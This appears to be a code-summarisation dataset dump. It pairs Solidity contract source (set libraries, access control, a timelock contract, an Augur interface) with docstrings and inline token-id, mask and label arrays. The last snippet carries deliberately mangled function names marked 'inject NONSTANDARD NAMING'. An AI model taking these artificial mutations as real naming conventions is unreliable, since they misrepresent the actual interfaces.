function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| emit both the lovers's love | function DeclareMyLove(address LoveReceiver) public {
emit LoveDeclared(msg.sender, LoveReceiver);
}
| 1,788,068 | [
1,
18356,
3937,
326,
437,
2496,
1807,
437,
537,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
16110,
834,
12062,
48,
841,
12,
2867,
511,
841,
12952,
13,
1071,
288,
21281,
3639,
3626,
511,
841,
18888,
12,
3576,
18,
15330,
16,
511,
841,
12952,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2021-07-20
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
contract PilotTimelock is AccessControl {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(
bytes32 indexed id,
uint256 indexed index,
address target,
uint256 value,
bytes data,
bytes32 predecessor,
uint256 delay
);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with a given `minDelay`.
*/
constructor(
uint256 minDelay,
address[] memory proposers,
address[] memory executors
) {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRoleOrOpenRole(bytes32 role) {
if (!hasRole(role, address(0))) {
_checkRole(role, _msgSender());
}
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at with an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, datas, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt,
uint256 delay
) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "PILOT_TIMELOCK: LENGTH_MISMATCH");
require(targets.length == datas.length, "PILOT_TIMELOCK: LENGTH_MISMATCH");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to becomes valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "PILOT_TIMELOCK: OPERATION_ALREADY_SCHEDULED");
require(delay >= getMinDelay(), "PILOT_TIMELOCK: INSUFFICIENT_DELAY");
_timestamps[id] = block.timestamp + delay;
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {
require(isOperationPending(id), "PILOT_TIMELOCK: OPERATION_CANNOT_BE_CANCELLED");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function execute(
address target,
uint256 value,
bytes calldata data,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_beforeCall(predecessor);
_call(id, 0, target, value, data);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata datas,
bytes32 predecessor,
bytes32 salt
) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "PILOT_TIMELOCK: LENGTH_MISMATCH");
require(targets.length == datas.length, "PILOT_TIMELOCK: LENGTH_MISMATCH");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_beforeCall(predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
_call(id, i, targets[i], values[i], datas[i]);
}
_afterCall(id);
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 predecessor) private view {
require(predecessor == bytes32(0) || isOperationDone(predecessor), "PILOT_TIMELOCK: MISSING_DEPENDENCY");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "PILOT_TIMELOCK: OPERATION_IS_NOT_READY");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Execute an operation's call.
*
* Emits a {CallExecuted} event.
*/
function _call(
bytes32 id,
uint256 index,
address target,
uint256 value,
bytes calldata data
) private {
(bool success, ) = target.call{ value: value }(data);
require(success, "PILOT_TIMELOCK: UNDERLYING_TRANSACTION_REVERTED");
emit CallExecuted(id, index, target, value, data);
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "PILOT_TIMELOCK: CALLER_MUST_BE_TIMELOCK");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
} | * @dev Changes the minimum timelock duration for future operations. Emits a {MinDelayChange} event. Requirements: - the caller must be the timelock itself. This can only be achieved by scheduling and later executing an operation where the timelock is the target and the data is the ABI-encoded call to this function./ | function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "PILOT_TIMELOCK: CALLER_MUST_BE_TIMELOCK");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
| 8,016,910 | [
1,
7173,
326,
5224,
1658,
292,
975,
3734,
364,
3563,
5295,
18,
7377,
1282,
279,
288,
2930,
6763,
3043,
97,
871,
18,
29076,
30,
300,
326,
4894,
1297,
506,
326,
1658,
292,
975,
6174,
18,
1220,
848,
1338,
506,
20186,
2155,
635,
21895,
471,
5137,
11274,
392,
1674,
1625,
326,
1658,
292,
975,
353,
326,
1018,
471,
326,
501,
353,
326,
10336,
45,
17,
10787,
745,
358,
333,
445,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1089,
6763,
12,
11890,
5034,
394,
6763,
13,
3903,
5024,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
1758,
12,
2211,
3631,
315,
1102,
1502,
56,
67,
4684,
6589,
30,
22753,
654,
67,
49,
5996,
67,
5948,
67,
4684,
6589,
8863,
203,
3639,
3626,
5444,
6763,
3043,
24899,
1154,
6763,
16,
394,
6763,
1769,
203,
3639,
389,
1154,
6763,
273,
394,
6763,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.15;
contract IAugur {
function CREATECHILDUNIVERSE712(bytes32 _parentPayoutDistributionHash, uint256[] memory _parentPayoutNumerators) public returns (IUniverse); //inject NONSTANDARD NAMING
function ISKNOWNUNIVERSE698(IUniverse _universe) public view returns (bool); //inject NONSTANDARD NAMING
function TRUSTEDCASHTRANSFER967(address _from, address _to, uint256 _amount) public returns (bool); //inject NONSTANDARD NAMING
function ISTRUSTEDSENDER635(address _address) public returns (bool); //inject NONSTANDARD NAMING
function ONCATEGORICALMARKETCREATED679(uint256 _endTime, string memory _extraInfo, IMarket _market, address _marketCreator, address _designatedReporter, uint256 _feePerCashInAttoCash, bytes32[] memory _outcomes) public returns (bool); //inject NONSTANDARD NAMING
